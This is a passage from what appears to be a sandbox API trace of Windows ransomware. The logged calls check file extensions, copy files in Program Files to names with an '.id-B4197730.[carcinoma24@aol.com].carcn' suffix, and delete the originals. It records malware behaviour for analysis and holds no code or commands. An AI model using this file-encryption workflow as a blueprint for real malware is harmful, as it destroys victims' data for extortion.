Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0178.651] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif")) returned 1 [0178.652] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0178.652] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0178.652] lstrlenW (lpString=".doc") returned 4 [0178.652] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0178.652] lstrlenW (lpString=".docx") returned 5 [0178.652] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0178.652] lstrlenW (lpString=".pdf") returned 4 [0178.652] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0178.652] lstrlenW (lpString=".xls") returned 4 [0178.652] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0178.652] lstrlenW (lpString=".xlsx") returned 5 [0178.652] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0178.652] lstrlenW (lpString=".ppt") returned 4 [0178.652] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0178.652] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0178.652] lstrlenW (lpString=".zip") returned 4 [0178.652] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0178.652] lstrlenW (lpString=".rar") returned 4 [0178.652] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0178.652] lstrlenW (lpString=".bz2") returned 4 [0178.652] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0178.652] lstrlenW (lpString=".7z") returned 3 [0178.652] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0178.652] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0178.652] lstrlenW (lpString=".dbf") returned 4 [0178.652] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0178.652] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0178.652] lstrlenW (lpString=".1cd") returned 4 [0178.652] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0178.652] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0178.652] lstrlenW (lpString=".jpg") returned 4 [0178.653] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0178.653] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0178.653] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0178.653] lstrlenW (lpString=".doc") returned 4 [0178.653] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0178.653] lstrlenW (lpString=".docx") returned 5 [0178.653] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0178.653] lstrlenW (lpString=".pdf") returned 4 [0178.653] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0178.653] lstrlenW (lpString=".xls") returned 4 [0178.653] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0178.653] lstrlenW (lpString=".xlsx") returned 5 [0178.653] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0178.653] lstrlenW (lpString=".ppt") returned 4 [0178.653] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0178.653] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0178.653] lstrlenW (lpString=".zip") returned 4 [0178.653] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0178.653] lstrlenW (lpString=".rar") returned 4 [0178.653] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0178.653] lstrlenW (lpString=".bz2") returned 4 [0178.653] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0178.653] lstrlenW (lpString=".7z") returned 3 [0178.653] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0178.653] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0178.653] lstrlenW (lpString=".dbf") returned 4 [0178.653] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0178.653] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0178.653] lstrlenW (lpString=".1cd") returned 4 [0178.653] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0178.653] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0178.653] lstrlenW (lpString=".jpg") returned 4 [0178.653] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0178.654] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0178.654] lstrlenW (lpString="AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 53 [0178.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0178.654] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=1533) returned 1 [0178.654] CloseHandle (hObject=0x2e0) returned 1 [0178.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml")) returned 0x220 [0178.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0178.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0178.654] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.655] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0178.655] GetLastError () returned 0x0 [0178.655] ReadFile (in: hFile=0x2e0, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x5fd, lpOverlapped=0x0) returned 1 [0178.656] WriteFile (in: hFile=0x34c, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0x600, lpOverlapped=0x0) returned 1 [0178.657] ReadFile (in: hFile=0x2e0, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.657] WriteFile (in: hFile=0x34c, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0x13e, lpOverlapped=0x0) returned 1 [0178.657] SetEndOfFile (hFile=0x34c) returned 1 [0178.657] CloseHandle (hObject=0x34c) returned 1 [0178.658] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.658] SetEndOfFile (hFile=0x2e0) returned 1 [0178.659] CloseHandle (hObject=0x2e0) returned 1 [0178.659] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0178.659] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml")) returned 1 [0178.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0178.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0178.659] lstrlenW (lpString=".doc") returned 4 [0178.660] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0178.660] lstrlenW (lpString=".docx") returned 5 [0178.660] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0178.660] lstrlenW (lpString=".pdf") returned 4 [0178.660] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0178.660] lstrlenW (lpString=".xls") returned 4 [0178.660] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0178.660] lstrlenW (lpString=".xlsx") returned 5 [0178.660] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0178.660] lstrlenW (lpString=".ppt") returned 4 [0178.660] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0178.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0178.660] lstrlenW (lpString=".zip") returned 4 [0178.660] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0178.660] lstrlenW (lpString=".rar") returned 4 [0178.660] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0178.660] lstrlenW (lpString=".bz2") returned 4 [0178.660] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0178.660] lstrlenW (lpString=".7z") returned 3 [0178.660] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0178.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0178.660] lstrlenW (lpString=".dbf") returned 4 [0178.660] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0178.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0178.660] lstrlenW (lpString=".1cd") returned 4 [0178.660] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0178.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0178.660] lstrlenW (lpString=".jpg") returned 4 [0178.660] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0178.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0178.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0178.661] lstrlenW (lpString=".doc") returned 4 [0178.661] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0178.661] lstrlenW (lpString=".docx") returned 5 [0178.661] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0178.661] lstrlenW (lpString=".pdf") returned 4 [0178.661] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0178.661] lstrlenW (lpString=".xls") returned 4 [0178.661] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0178.661] lstrlenW (lpString=".xlsx") returned 5 [0178.661] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0178.661] lstrlenW (lpString=".ppt") returned 4 [0178.661] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0178.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0178.661] lstrlenW (lpString=".zip") returned 4 [0178.661] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0178.661] lstrlenW (lpString=".rar") returned 4 [0178.661] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0178.661] lstrlenW (lpString=".bz2") returned 4 [0178.661] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0178.661] lstrlenW (lpString=".7z") returned 3 [0178.661] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0178.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0178.661] lstrlenW (lpString=".dbf") returned 4 [0178.661] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0178.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0178.662] lstrlenW (lpString=".1cd") returned 4 [0178.662] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0178.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0178.662] lstrlenW (lpString=".jpg") returned 4 [0178.662] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0178.662] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0178.662] lstrlenW (lpString="AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 53 [0178.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0178.665] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=800867) returned 1 [0178.665] CloseHandle (hObject=0x2e0) returned 1 [0178.665] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml")) returned 0x220 [0178.665] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0178.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0178.666] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.666] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0178.666] GetLastError () returned 0x0 [0178.666] ReadFile (in: hFile=0x2e0, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0xc3863, lpOverlapped=0x0) returned 1 [0178.831] WriteFile (in: hFile=0x34c, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0xc3870, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0xc3870, lpOverlapped=0x0) returned 1 [0178.843] ReadFile (in: hFile=0x2e0, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.843] WriteFile (in: hFile=0x34c, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0x13e, lpOverlapped=0x0) returned 1 [0178.843] SetEndOfFile (hFile=0x34c) returned 1 [0178.844] CloseHandle (hObject=0x34c) returned 1 [0178.855] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.855] SetEndOfFile (hFile=0x2e0) returned 1 [0180.284] CloseHandle (hObject=0x2e0) returned 1 [0180.285] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0180.286] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml")) returned 1 [0180.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0180.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0180.332] lstrlenW (lpString=".doc") returned 4 [0180.332] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0180.332] lstrlenW (lpString=".docx") returned 5 [0180.332] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0180.332] lstrlenW (lpString=".pdf") returned 4 [0180.332] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0180.332] lstrlenW (lpString=".xls") returned 4 [0180.332] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0180.332] lstrlenW (lpString=".xlsx") returned 5 [0180.332] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0180.332] lstrlenW (lpString=".ppt") returned 4 [0180.332] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0180.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0180.332] lstrlenW (lpString=".zip") returned 4 [0180.332] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0180.332] lstrlenW (lpString=".rar") returned 4 [0180.333] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0180.333] lstrlenW (lpString=".bz2") returned 4 [0180.333] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0180.333] lstrlenW (lpString=".7z") returned 3 [0180.333] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0180.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0180.333] lstrlenW (lpString=".dbf") returned 4 [0180.333] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0180.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0180.333] lstrlenW (lpString=".1cd") returned 4 [0180.333] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0180.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0180.333] lstrlenW (lpString=".jpg") returned 4 [0180.333] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0180.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0180.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0180.333] lstrlenW (lpString=".doc") returned 4 [0180.333] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0180.333] lstrlenW (lpString=".docx") returned 5 [0180.333] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0180.333] lstrlenW (lpString=".pdf") returned 4 [0180.333] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0180.333] lstrlenW (lpString=".xls") returned 4 [0180.333] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0180.333] lstrlenW (lpString=".xlsx") returned 5 [0180.333] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0180.334] lstrlenW (lpString=".ppt") returned 4 [0180.334] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0180.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0180.334] lstrlenW (lpString=".zip") returned 4 [0180.334] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0180.334] lstrlenW (lpString=".rar") returned 4 [0180.334] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0180.334] lstrlenW (lpString=".bz2") returned 4 [0180.334] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0180.334] lstrlenW (lpString=".7z") returned 3 [0180.334] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0180.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0180.334] lstrlenW (lpString=".dbf") returned 4 [0180.334] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0180.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0180.334] lstrlenW (lpString=".1cd") returned 4 [0180.334] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0180.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0180.334] lstrlenW (lpString=".jpg") returned 4 [0180.334] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0180.334] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0180.334] lstrlenW (lpString="AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 53 [0180.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0180.335] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=19451) returned 1 [0180.335] CloseHandle (hObject=0x2e0) returned 1 [0180.336] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml")) returned 0x220 [0180.336] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0180.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0180.336] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.336] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0180.336] GetLastError () returned 0x0 [0180.336] ReadFile (in: hFile=0x2e0, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x4bfb, lpOverlapped=0x0) returned 1 [0180.436] WriteFile (in: hFile=0x35c, lpBuffer=0x4019020*, 